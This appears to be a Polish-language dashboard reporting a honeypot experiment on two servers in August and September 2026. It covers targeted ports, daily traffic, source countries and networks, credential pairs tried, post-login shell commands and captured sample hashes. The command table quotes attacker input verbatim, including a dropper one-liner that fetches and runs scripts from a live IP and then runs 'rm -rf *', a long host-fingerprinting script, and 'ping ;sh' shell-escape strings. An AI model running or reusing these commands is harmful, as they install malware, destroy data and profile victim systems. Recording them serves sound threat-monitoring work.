Ranking portów #
Główna tabela eksperymentu: które porty cieszyły się największym zainteresowaniem wśród atakujących. Można sortować według dowolnej kolumny, filtrować według serwera oraz wyszukiwać konkretny port, zakres lub nazwę usługi. Do każdego wiersza można odwołać się, na przykład #port-3389.
| Port | Protokół | Standardowa usługa | Serwer | Eksperymenty | Unikalny adres IP | Udział |
|---|---|---|---|---|---|---|
| 5901 | tcp | VNC | oba serwery | 883 864 | 801 | 16,1 % |
| 3389 | tcp | RDP | oba serwery | 734 148 | 2 425 | 13,4 % |
| 3389 | tcp | RDP | srv4 | 726 599 | 1 515 | 18,1 % |
| 5900 | tcp | VNC | oba serwery | 707 172 | 1 343 | 12,9 % |
| 445 | tcp | SMB | oba serwery | 459 930 | 6 055 | 8,4 % |
| 5901 | tcp | VNC | srv4 | 449 586 | 598 | 11,2 % |
| 5901 | tcp | VNC | srv3 | 434 278 | 655 | 29,7 % |
| 445 | tcp | SMB | srv3 | 415 953 | 5 570 | 28,4 % |
| 5900 | tcp | VNC | srv4 | 360 884 | 1 098 | 9,0 % |
| 5900 | tcp | VNC | srv3 | 346 288 | 1 176 | 23,7 % |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- honeypot-ports-aggregated-20260922.csv
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Zmiany w czasie #
Liczba zdarzeń w czasie, podzielona na kampanie i szum tła, a poniżej liczba unikalnych adresów IP. Jak wynika z dzienników agentów, poszczególne kampanie generowały większość dziennego ruchu. Bez takiego podziału wykres wprowadzałby w błąd: kampania wyglądałaby jak trend, a jej zakończenie jak przerwa w gromadzeniu danych.
To, w jaki sposób kampania oddziela się od szumu tła, określa skrypt podany pod wykresem.
Liczba zdarzeń
- Szum podstawowy
- Kampanie
Unikalne adresy IP
Liczba różnych adresów IP źródłowych w każdym dniu.
- srv3
- srv4
Nie można sumować unikalnych adresów IP między serwerami – ten sam adres mógł służyć do ataku na oba serwery. Dlatego każdy serwer ma własną linię.
Zaciemnione kolumny i puste kółka oznaczają niekompletne okresy: okno gromadzenia danych rozpoczyna się i kończy o godz. 12:00 UTC, a okres przycięty zgodnie z wybranym zakresem jest krótszy niż pozostałe. Nie należy ich zatem porównywać z sąsiednimi.
Wyświetl wartości w formie tabeli
| Dzień (UTC) | Wydarzenia | Kampanie | Szum podstawowy | Unikalny adres IP srv3 | Unikalny adres IP srv4 |
|---|---|---|---|---|---|
| 22. 8. 2026 · niekompletne | 82 303 | 59 843 | 22 460 | 547 | 1 870 |
| 23. 8. 2026 | 79 276 | 34 177 | 45 099 | 1 292 | 3 529 |
| 24. 8. 2026 | 48 928 | 10 775 | 38 153 | 1 429 | 3 309 |
| 25. 8. 2026 | 69 902 | 29 825 | 40 077 | 1 552 | 3 824 |
| 26. 8. 2026 | 68 792 | 28 709 | 40 083 | 1 552 | 3 775 |
| 27. 8. 2026 | 204 306 | 161 642 | 42 664 | 1 585 | 4 301 |
| 28. 8. 2026 | 201 823 | 159 044 | 42 779 | 1 364 | 4 083 |
| 29. 8. 2026 | 206 275 | 171 641 | 34 634 | 1 029 | 3 853 |
| 30. 8. 2026 | 185 689 | 148 263 | 37 426 | 975 | 4 176 |
| 31. 8. 2026 | 539 919 | 504 248 | 35 671 | 1 488 | 4 183 |
| 1. 9. 2026 | 720 200 | 666 265 | 53 935 | 1 573 | 4 500 |
| 2. 9. 2026 | 275 758 | 209 955 | 65 803 | 1 859 | 4 281 |
| 3. 9. 2026 | 274 675 | 227 972 | 46 703 | 1 621 | 4 343 |
| 4. 9. 2026 | 219 422 | 167 450 | 51 972 | 1 628 | 4 087 |
| 5. 9. 2026 | 154 023 | 95 631 | 58 392 | 1 535 | 4 117 |
| 6. 9. 2026 | 131 807 | 46 399 | 85 408 | 1 637 | 4 349 |
| 7. 9. 2026 | 184 403 | 94 877 | 89 526 | 1 494 | 4 402 |
| 8. 9. 2026 | 169 747 | 59 781 | 109 966 | 1 758 | 4 609 |
| 9. 9. 2026 | 177 572 | 48 861 | 128 711 | 1 733 | 4 671 |
| 10. 9. 2026 | 193 394 | 60 866 | 132 528 | 1 818 | 5 095 |
| 11. 9. 2026 | 210 418 | 63 267 | 147 151 | 1 747 | 5 402 |
| 12. 9. 2026 | 254 827 | 82 831 | 171 996 | 1 859 | 5 450 |
| 13. 9. 2026 | 236 911 | 105 016 | 131 895 | 1 854 | 5 434 |
| 14. 9. 2026 | 213 640 | 83 835 | 129 805 | 1 994 | 5 516 |
| 15. 9. 2026 | 272 074 | 159 141 | 112 933 | 1 884 | 5 303 |
| 16. 9. 2026 · niekompletne | 101 115 | 28 713 | 72 402 | 1 386 | 3 449 |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- timeline-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Mapa pochodzenia połączeń #
Skąd pochodziły połączenia. Kraj określa się na podstawie rejestracji adresu IP, a nie rzeczywistej lokalizacji atakującego – za adresem może kryć się wynajęty serwer lub zainfekowany komputer w dowolnym miejscu na świecie. Dokładne dane przedstawiono w tabelach poniżej.
Mapa jest generowana przez serwis Datawrapper; podczas jej ładowania przeglądarka łączy się z serwerami tego serwisu. Otwórz mapę osobno
Geografia i sieci #
Skąd pochodził ruch na podstawie geolokalizacji źródłowego adresu IP oraz do jakich autonomicznych systemów (ASN) należą te adresy. Geolokalizacja wskazuje, gdzie adres jest zarejestrowany, a nie gdzie znajduje się osoba atakująca.
Najczęściej wybierane kraje
Największe sieci (ASN)
| ASN | Sieć | Wydarzenia | Unikalny adres IP | Udział |
|---|---|---|---|---|
| 265391 | PROVEX TELECOMUNICACOES LTDA BR |
1 | 1 | 0,0 % |
| 328661 | C-Way-Computers ZA |
1 | 1 | 0,0 % |
| 57800 | KADRTV-AS UA |
1 | 1 | 0,0 % |
| 61312 | BROVARY-AS UA |
1 | 1 | 0,0 % |
| 24852 | VINITA LT |
1 | 1 | 0,0 % |
| 131596 | TBCOM-NET TBC TW |
1 | 1 | 0,0 % |
| 328408 | HAMILTON-TELECOM-AS UG |
1 | 1 | 0,0 % |
| 37532 | ZAMREN ZM |
1 | 1 | 0,0 % |
Wyświetl wartości w formie tabeli
| Kraj | Wydarzenia | Unikalny adres IP | Udział |
|---|---|---|---|
| US | 2 057 660 | 13 624 | 37,6 % |
| DE | 1 230 744 | 1 111 | 22,5 % |
| CN | 556 778 | 5 671 | 10,2 % |
| GB | 486 870 | 2 870 | 8,9 % |
| SC | 184 746 | 319 | 3,4 % |
| NL | 120 671 | 174 | 2,2 % |
| TN | 96 601 | 94 | 1,8 % |
| VN | 64 512 | 644 | 1,2 % |
| MX | 59 561 | 281 | 1,1 % |
| IN | 49 705 | 850 | 0,9 % |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- geo-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Dane logowania #
Kombinacje nazw użytkownika i haseł, które sprawdzali atakujący, oraz najczęściej sprawdzane nazwy użytkowników. Wartości są przedstawione dokładnie tak, jak zostały przesłane.
Najczęściej wybierane nazwy użytkownika
Najczęstsze kombinacje
| Imię | Hasło | Eksperymenty | Unikalny adres IP |
|---|---|---|---|
zuxin |
zuxin123 |
1 | 1 |
zuxin |
zuxin1234 |
1 | 1 |
zuxin |
zuxin@12345 |
1 | 1 |
zx |
1234567890 |
1 | 1 |
zx |
Admin@123 |
1 | 1 |
zx |
zx1 |
1 | 1 |
zxw |
zxw |
1 | 1 |
zy |
123123 |
1 | 1 |
zy |
12345678 |
1 | 1 |
zy |
123456789 |
1 | 1 |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- credentials-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Co działo się po zalogowaniu #
Polecenia wprowadzone przez atakujących w emulowanej powłoce, uporządkowane według częstotliwości. Jest to dane wprowadzone przez atakującego, a nie kod, który faktycznie byłby wykonywany na serwerze.
| Polecenie | Liczba | Relacje |
|---|---|---|
echo xsec |
1 704 | 1 704 |
/bin/busybox UNSTABLE |
1 323 | 1 323 |
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PATH:-} LC_ALL=C LANG=C
uname=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -s -v -n -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; IFS= read -r v < /proc/version && printf '%s\n' "$v") 2>/dev/null
arch=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; for c in arch 'busybox arch' 'toybox arch'; do v=$($c 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; printf '%s\n' unknown)
uptime=$(IFS= read -r v < /proc/uptime && printf '%s\n' "$v" || cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null || toybox cat /proc/uptime 2>/dev/null) 2>/dev/null
cpus=$(unset OMP_NUM_THREADS OMP_THREAD_LIMIT; for c in nproc /usr/bin/nproc 'busybox nproc' 'toybox nproc'; do v=$($c 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; v=$($a 'function count(s, a,b,n,i,t,m) { gsub(/[[:space:]]/,"",s); n=split(s,a,","); for(i=1;i<=n;i++) { if(a[i]!~/^[0-9]+(-[0-9]+)?$/) return 0; m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) return 0; t+=(m==2?b[2]-b[1]+1:1) } return t } BEGIN { while((getline s < "/proc/self/status")>0) if(s~/^Cpus_allowed_list:/) { sub(/^[^:]*:/,"",s); n=count(s); if(n>0) { print n; exit } } }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; for c in getconf 'busybox getconf' 'toybox getconf'; do v=$($c _NPROCESSORS_ONLN 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; v=$($a 'BEGIN { if((getline s < "/sys/devices/system/cpu/online")>0 && s~/^[0-9]+(-[0-9]+)?(,[0-9]+(-[0-9]+)?)*$/) { k=split(s,a,","); for(i=1;i<=k;i++) { m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) { n=0; break } n+=(m==2?b[2]-b[1]+1:1) } if(n>0) { print n; exit } } while((getline s < "/proc/cpuinfo")>0) { if(s~/^[[:space:]]*processor[[:space:]]*:[[:space:]]*[0-9]+[[:space:]]*$/ || s~/^[[:space:]]*processor[[:space:]]+[0-9]+:/) n++; if(s~/^[[:space:]]*#[[:space:]]*processors[[:space:]]*:/) { sub(/^[^:]*:/,"",s); p=s+0 } } if(n>0) print n; else if(p>0) print p }' 2>/dev/null); printf '%s\n' "${v:-unknown}")
cpu_model=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$({ lscpu 2>/dev/null || busybox lscpu 2>/dev/null || toybox lscpu 2>/dev/null; printf '\n@@CPUINFO@@\n'; r /proc/cpuinfo; printf '\n@@MIDR@@\n'; for f in /sys/devices/system/cpu/cpu[0-9]*/regs/identification/midr_el1; do r "$f"; done; } | $a 'function trim(s) { gsub(/^[[:space:]]+|[[:space:]]+$/, "", s); return s } function useful(s, t) { t=tolower(trim(s)); return t!="" && t!~/^(unknown|undefined|unspecified|not specified|not available|not present|not installed|default string|to be filled by o\.e\.m\.|n\/a|none|null|\(null\)|-|(0x)?[0-9a-f]+)$/ && t!~/^(unknown|unidentified|unrecognized)([[:space:]]|$)/ && t!~/^(armv[0-9]+(-compatible)?|aarch64|arm64|arm)([[:space:]]+processor|[[:space:]]*\(|$)/ && t!~/^(armv[0-9]+|aarch64|arm64|arm|processor|cpu|riscv(32|64)?|risc-v|x86_64|amd64|i[3-6]86|ppc64(le)?|powerpc|loongarch64|s390x)$/; } function number(s, n,i,d) { s=tolower(trim(s)); n=0; if(s~/^0x[0-9a-f]+$/) { for(i=3;i<=length(s);i++) { d=index("0123456789abcdef",substr(s,i,1))-1; n=n*16+d } return n; } return s~/^[0-9]+$/ ? s+0 : -1; } function addname(s) { if(useful(s) && !names[s]++) name[++nn]=s } function arm(impl,part, id,s) { impl=number(impl); part=number(part); if(impl<0 || impl>255 || part<0 || part>4095) return; id=sprintf("%02x:%03x",impl,part); if(ids[id]++) return; s=parts[id]; if(s=="") s="ARM implementer=0x" substr(id,1,2) " part=0x" substr(id,4); core[++nc]=s; } function addraw(s) { if(s!="" && !rawseen[s]++) raw[++nr]=s } function flush() { addname(model); if(implementer!="" && part!="") arm(implementer,part); if(mvendor!="" || march!="" || mimp!="") addraw("RISC-V mvendorid=" mvendor " marchid=" march " mimpid=" mimp); model=implementer=part=""; mvendor=march=mimp=""; } function table(impl,s, a,b,n,i) { n=split(s,a," "); for(i=1;i<=n;i++) { split(a[i],b,"="); parts[impl ":" b[1]]=b[2] } } function output(a,n, i) { for(i=1;i<=n;i++) printf "%s%s",(i>1?" + ":""),a[i] } BEGIN { table("41","b76=ARM1176 c05=Cortex-A5 c07=Cortex-A7 c08=Cortex-A8 c09=Cortex-A9 c0d=Cortex-A17 c0e=Cortex-A17 c0f=Cortex-A15 d01=Cortex-A32 d02=Cortex-A34 d03=Cortex-A53 d04=Cortex-A35 d05=Cortex-A55 d06=Cortex-A65 d07=Cortex-A57 d08=Cortex-A72 d09=Cortex-A73 d0a=Cortex-A75 d0b=Cortex-A76 d0c=Neoverse-N1 d0d=Cortex-A77 d0e=Cortex-A76AE d40=Neoverse-V1 d41=Cortex-A78 d42=Cortex-A78AE d44=Cortex-X1 d46=Cortex-A510 d47=Cortex-A710 d48=Cortex-X2 d49=Neoverse-N2 d4a=Neoverse-E1 d4b=Cortex-A78C d4d=Cortex-A715 d4e=Cortex-X3 d4f=Neoverse-V2 d80=Cortex-A520 d81=Cortex-A720 d82=Cortex-X4 d84=Neoverse-V3 d85=Cortex-X925 d87=Cortex-A725"); table("42","00f=Brahma-B15 100=Brahma-B53 516=ThunderX2"); table("43","0a0=ThunderX 0a1=ThunderX-88XX 0a2=ThunderX-81XX 0a3=ThunderX-83XX 0af=ThunderX2-99xx"); table("46","001=A64FX"); table("4e","000=Denver 003=Denver-2 004=Carmel"); table("50","000=X-Gene"); table("51","001=Oryon 00f=Scorpion 02d=Scorpion 04d=Krait 06f=Krait 201=Kryo 205=Kryo 211=Kryo 800=Falkor-V1/Kryo 801=Kryo-V2 802=Kryo-3XX-Gold 803=Kryo-3XX-Silver 804=Kryo-4XX-Gold 805=Kryo-4XX-Silver c00=Falkor c01=Saphira"); table("c0","ac3=Ampere-1 ac4=Ampere-1a"); } /^@@CPUINFO@@$/ { section=1; next } /^@@MIDR@@$/ { flush(); section=2; next } section==2 { s=tolower(trim($0)); sub(/^0x/,"",s); if(s!~/^[0-9a-f]+$/ || length(s)<8) next; s=substr(s,length(s)-7); arm("0x" substr(s,1,2),"0x" substr(s,5,3)); next; } section==1 && /^[[:space:]]*$/ { flush(); next } { pos=index($0,":"); if(!pos) next; key=tolower(trim(substr($0,1,pos-1))); value=trim(substr($0,pos+1)); if(section==0) { if(key=="model name" && useful(value) && !lsseen[value]++) ls[++nl]=value; if(key=="bios model name" && useful(value) && !biosseen[value]++) bios[++nb]=value; next; } if(key=="processor" && value~/^[0-9]+$/) flush(); if(key=="cpu implementer") implementer=value; if(key=="cpu part") part=value; if(key=="mvendorid") mvendor=value; if(key=="marchid") march=value; if(key=="mimpid") mimp=value; if(key~/^(model name|cpu model|cpu|uarch|cpu type|processor)$/ && useful(value)) { if(model=="" || key=="model name" || key=="uarch") model=value; } if(key~/^processor[[:space:]]+[0-9]+$/ && value~/machine[[:space:]]*=/) { s=value; sub(/^.*machine[[:space:]]*=[[:space:]]*/,"",s); sub(/[,[:space:]].*$/,"",s); if(s!="") addraw("IBM S/390 machine " s); } } END { flush(); if(nn>0) { output(name,nn); if(nc>1) { printf " [cores: "; output(core,nc); printf "]" } } else if(nc>1) { output(core,nc); } else if(nl>0) { output(ls,nl); } else if(nb>0) { output(bios,nb); } else if(nc>0) { output(core,nc); } else if(nr>0) { output(raw,nr); } if(nn+nc+nl+nb+nr>0) print ""; }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; if ! $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null; then v=$(emit() { [ -n "$1" ] || return; case "$seen" in *"|$1|"*) return ;; esac; printf '%s%s' "$sep" "$1"; sep=' + '; seen="$seen|$1|"; }; rec() { if [ -n "$n" ]; then emit "$n"; elif [ -n "$i" ] && [ -n "$p" ]; then emit "ARM implementer=$i part=$p"; fi; n= i= p=; }; n= i= p= seen= sep=; if [ -r /proc/cpuinfo ]; then while IFS=: read -r k x || [ -n "$k$x" ]; do k=${k#"${k%%[![:space:]]*}"}; k=${k%"${k##*[![:space:]]}"}; x=${x#"${x%%[![:space:]]*}"}; x=${x%"${x##*[![:space:]]}"}; case "$k" in '') rec ;; processor) case "$x" in *[!0-9]*) ;; *) rec ;; esac ;; 'CPU implementer') i=$x ;; 'CPU part') p=$x ;; 'model name'|'Model Name'|'cpu model'|cpu|uarch|'cpu type'|Processor) case "$x" in ''|[Uu][Nn][Kk][Nn][Oo][Ww][Nn]*|[Nn]/[Aa]|[Aa][Rr][Mm]*[Pp]rocessor*|[Aa][Aa][Rr][Cc][Hh]64*) ;; *) case "$x" in *[!0-9]*) n=$x ;; esac ;; esac ;; esac; done < /proc/cpuinfo; rec; fi); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; fi; v=$(for d in /sys/firmware/devicetree/base /proc/device-tree; do [ -d "$d/cpus" ] || continue; for f in "$d"/cpus/*/compatible; do [ -r "$f" ] || continue; tr '\000' '\n' < "$f" 2>/dev/null || busybox tr '\000' '\n' < "$f" 2>/dev/null || toybox tr '\000' '\n' < "$f" 2>/dev/null; done; break; done | $a 'NF && !seen[$0]++ { printf "%s%s",n++?" + ":"CPU compatible: ",$0 } END { if(n) print "" }' 2>/dev/null); printf '%s\n' "${v:-unknown ($arch)}")
gpu_info=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$(for c in lspci 'busybox lspci' 'toybox lspci'; do p=$($c -Dnn 2>/dev/null) || p=; [ -n "$p" ] || { p=$($c -nn 2>/dev/null) || p=; }; [ -n "$p" ] || { p=$($c 2>/dev/null) || p=; }; p=$(printf '%s\n' "$p" | $a '{ s=tolower($0) } s~/\[03[0-9a-f][0-9a-f]\]/ || s~/(vga compatible|3d|display) controller/ || s~/(^|[[:space:]])(class[[:space:]]+)?03[0-9a-f][0-9a-f]:[[:space:]]/ { if(!seen[$0]++) print }' 2>/dev/null); [ -n "$p" ] && { printf '%s\n' "$p"; break; }; done); if [ -n "$v" ]; then printf '%s\n' "$v"; else for d in /sys/bus/pci/devices/*; do c=$(r "$d/class"); case $c in 0x03????) x=$(r "$d/vendor"); y=$(r "$d/device"); printf '%s display controller [%s:%s]\n' "${d##*/}" "${x#0x}" "${y#0x}" ;; esac; done; fi; for d in /sys/class/drm/card[0-9]* /sys/class/drm/renderD[0-9]*; do [ -d "$d/device" ] || continue; case ${d##*/} in *-*) continue ;; esac; e=$(r "$d/device/uevent"); case $e in *PCI_SLOT_NAME=*) continue ;; esac; p=$(CDPATH= cd -P "$d/device" 2>/dev/null && pwd -P); [ -n "$p" ] || continue; x=$(printf '%s\n' "$e" | $a '/^DRIVER=/ { sub(/^DRIVER=/,""); print; exit }' 2>/dev/null); printf '%s DRM device: %s\n' "$p" "${x:-unknown}"; done | $a '!seen[$0]++' 2>/dev/null)
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
printf 'UNAME:%s\n' "$uname"
printf 'ARCH:%s\n' "$arch"
printf 'UPTIME:%s\n' "$uptime"
printf 'CPUS:%s\n' "$cpus"
printf 'CPU_MODEL:%s\n' "$cpu_model"
printf 'GPU:%s\n' "$gpu_info"
printf 'LAST:%s\n' "$last_output"
printf 'FILTER:%s\n' "$filter_output" |
1 247 | 1 247 |
echo -e "\x47\x41\x59" |
1 233 | 411 |
ping ;sh |
1 158 | 1 157 |
enablelinuxshell |
1 084 | 1 084 |
ping; sh |
905 | 905 |
/bin/busybox STC |
899 | 899 |
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd /; wget http://213.232.114.14/handshakebins.sh 2>/dev/null; busybox wget http://213.232.114.14/handshakebins.sh 2>/dev/null; curl -o handshakebins.sh http://213.232.114.14/handshakebins.sh 2>/dev/null; chmod 777 handshakebins.sh 2>/dev/null; sh handshakebins.sh 2>/dev/null; tftp 213.232.114.14 -c get handshaketftp1.sh 2>/dev/null; chmod 777 handshaketftp1.sh 2>/dev/null; sh handshaketftp1.sh 2>/dev/null; tftp -r handshaketftp2.sh -g 213.232.114.14 2>/dev/null; chmod 777 handshaketftp2.sh 2>/dev/null; sh handshaketftp2.sh 2>/dev/null; rm -rf handshakebins.sh handshaketftp1.sh handshaketftp2.sh 2>/dev/null; rm -rf * 2>/dev/null; echo "PAYLOAD_EXECUTED" |
842 | 842 |
echo PAYLOAD_EXECUTED |
797 | 797 |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- attacker-commands-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Pobrane próbki #
Pliki, które atakujący próbowali pobrać lub przesłać, w podziale na typ i architekturę.
Według typu pliku
Zgodnie z architekturą
| SHA-256 | Typ | Architektura | Rozmiar | Po raz pierwszy | Uchwycone | Wyszukaj |
|---|---|---|---|---|---|---|
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b | data | — | 1 B | 23. 8. 2026 16:54:42 | 492 | VirusTotal |
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b | data | — | 1 B | 23. 8. 2026 10:04:58 | 330 | VirusTotal |
| f2e2ffc024ab99eb49fa207756481aa80713398142f30888aebace5706909b36 | data | — | 697 B | 23. 8. 2026 12:07:36 | 243 | VirusTotal |
| a6296a79f44e21b76604d2d2bbf795d2cf380f70e39d45fbf166707ff3b4a6a4 | script | — | 306 B | 22. 8. 2026 18:09:16 | 208 | VirusTotal |
| 4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 | data | — | 9 B | 22. 8. 2026 18:09:19 | 206 | VirusTotal |
| 4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 | data | — | 9 B | 22. 8. 2026 15:49:53 | 205 | VirusTotal |
| a9b1c85a7bd78dd1112ecc75c9070ea8c53078831a17aa09ebeb287fe6e21b72 | data | — | 9 B | 7. 9. 2026 11:48:13 | 59 | VirusTotal |
| 1193dde1c831808bf6f2db6f5b850b846b8a7f870873ec3b8a347f21cc5d96e3 | data | — | 9 B | 7. 9. 2026 11:48:13 | 59 | VirusTotal |
| 14049d077b887cbb8060d223ff9626664a044a8c3145f6a2b95a325df36b279b | data | — | 7 B | 13. 9. 2026 15:31:53 | 58 | VirusTotal |
| 43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a | data | — | 399 B | 23. 8. 2026 00:49:29 | 47 | VirusTotal |
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- samples-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Porównanie serwerów #
O ile wzrosło obciążenie dzięki większej powierzchni i czym różnią się oba serwery pod względem struktury.
| Wskaźnik | srv3 | srv4 | srv4 / srv3 |
|---|---|---|---|
| Próby połączenia (lista portów) | 1 462 877 | 4 014 322 | 2,7× |
| Porty, których to dotyczy | 45 | 58 628 | 1 302,8× |
| Zdarzenia (zmiany w czasie) | 1 462 877 | 4 014 322 | 2,7× |
srv3 najczęściej używane porty
srv4 najczęściej używane porty
- Okno czasowe
- 21. 8. 2026 – 16. 9. 2026
- Dane źródłowe
- honeypot-ports-aggregated-20260922.csv, timeline-aggregated na razie niedostępne
- Skrypt
- zostanie opublikowany
- Format
- dokumentacja pól
Czy zauważyliście błąd, brakujące dane lub wyciek danych wrażliwych? Zgłoś problem